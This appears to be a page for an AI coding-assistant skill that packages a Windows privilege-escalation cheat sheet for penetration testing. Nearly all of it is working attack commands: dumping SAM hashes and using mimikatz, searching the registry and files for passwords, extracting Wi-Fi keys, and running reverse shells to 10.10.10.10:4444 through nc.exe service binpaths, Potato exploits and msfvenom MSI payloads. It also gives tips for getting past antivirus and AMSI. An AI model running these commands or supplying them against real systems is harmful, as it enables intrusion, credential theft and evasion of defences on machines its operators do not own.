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npx skills add zebbern/claude-code-guide --skill windows-privilege-escalation
This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
npx skills add zebbern/claude-code-guide --skill windows-privilege-escalation
Provide systematic methodologies for discovering and exploiting privilege escalation vulnerabilities on Windows systems during penetration testing engagements. This skill covers system enumeration, credential harvesting, service exploitation, token impersonation, kernel exploits, and various misconfigurations that enable escalation from standard user to Administrator or SYSTEM privileges.
| Tool | Command | Purpose |
|---|---|---|
| WinPEAS | winPEAS.exe | Comprehensive enumeration |
| PowerUp | Invoke-AllChecks | Service/path vulnerabilities |
| Seatbelt | Seatbelt.exe -group=all | Security audit checks |
| Watson | Watson.exe | Missing patches |
| JAWS | .\jaws-enum.ps1 | Legacy Windows enum |
| PrivescCheck | Invoke-PrivescCheck | Privilege escalation checks |
| Vector | Check Command |
|---|---|
| Unquoted paths | wmic service get pathname | findstr /i /v """ |
| Weak service perms | accesschk.exe -uwcqv "Everyone" * |
| AlwaysInstallElevated | reg query HKCU\...\Installer /v AlwaysInstallElevated |
| Stored credentials | cmdkey /list |
| Token privileges | whoami /priv |
| Scheduled tasks | schtasks /query /fo LIST /v |
| Privilege | Tool | Usage |
|---|---|---|
| SeImpersonatePrivilege | JuicyPotato | CLSID abuse |
| SeImpersonatePrivilege | PrintSpoofer | Spooler service |
| SeImpersonatePrivilege | RoguePotato | OXID resolver |
| SeBackupPrivilege | robocopy /b | Read protected files |
| SeRestorePrivilege | Enable-SeRestorePrivilege | Write protected files |
| SeTakeOwnershipPrivilege | takeown.exe | Take file ownership |
| Issue | Cause | Solution |
|---|---|---|
| Exploit fails (AV detected) | AV blocking known exploits | Use obfuscated exploits; living-off-the-land (mshta, certutil); custom compiled binaries |
| Service won't start | Binary path syntax | Ensure space after = in binpath: binpath= "C:\path\binary.exe" |
| Token impersonation fails | Wrong privilege/version | Check whoami /priv; verify Windows version compatibility |
| Can't find kernel exploit | System patched | Run Windows Exploit Suggester: python wes.py systeminfo.txt |
| PowerShell blocked | Execution policy/AMSI | Use powershell -ep bypass -c "cmd" or -enc <base64> |
# Current user
whoami
echo %USERNAME%
# User privileges
whoami /priv
whoami /groups
whoami /all
# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon
# User details
net user administrator
net user %USERNAME%
# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric
# ARP table
arp -A
# Active connections
netstat -ano
# Network shares
net share
# Domain Controllers
nltest /DCLIST:DomainName# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt
# Crack with John
john --format=NT sam.txt# Check vulnerability
icacls C:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)
# Exploit with mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM# Search file contents
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
# Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
# Windows Autologin credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
# Search for specific files
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
# Search for files
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul
# Decode base64 password (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d# List profiles
netsh wlan show profile
# Get cleartext password
netsh wlan show profile <SSID> key=clear
# Extract all WiFi passwords
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on# View PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw# Find misconfigured services
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>
# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG
# Exploit vulnerable service
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service># Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Exploit: Place malicious exe in path
# For path: C:\Program Files\Some App\service.exe
# Try: C:\Program.exe or C:\Program Files\Some.exe# Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must return 0x1 for vulnerability
# Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
# Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\evil.msi# Look for these privileges
whoami /priv
# Exploitable privileges:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeTcbPrivilege
# SeBackupPrivilege
# SeRestorePrivilege
# SeCreateTokenPrivilege
# SeLoadDriverPrivilege
# SeTakeOwnershipPrivilege
# SeDebugPrivilege# JuicyPotato (Windows Server 2019 and below)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *
# PrintSpoofer (Windows 10 and Server 2019)
PrintSpoofer.exe -i -c cmd
# RoguePotato
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999
# GodPotato
GodPotato.exe -cmd "cmd /c whoami"# Use Windows Exploit Suggester
systeminfo > systeminfo.txt
python wes.py systeminfo.txt
# Or use Watson (on target)
Watson.exe
# Or use Sherlock PowerShell script
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019# Find missing DLLs with Process Monitor
# Filter: Result = NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll# List saved credentials
cmdkey /list
# Use saved credentials
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"# Check for WSL
wsl whoami
# Set root as default user
wsl --default-user root
# Or: ubuntu.exe config --default-user root
# Spawn shell as root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS
# Check current config
sc qc MyService
# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService
# Catch shell as SYSTEM# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1
# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi
# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi
# Catch SYSTEM shell# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled
# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Catch SYSTEM shell# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe
# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)
# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"
# Restart service
sc stop "Vuln App"
sc start "Vuln App"# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123
# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd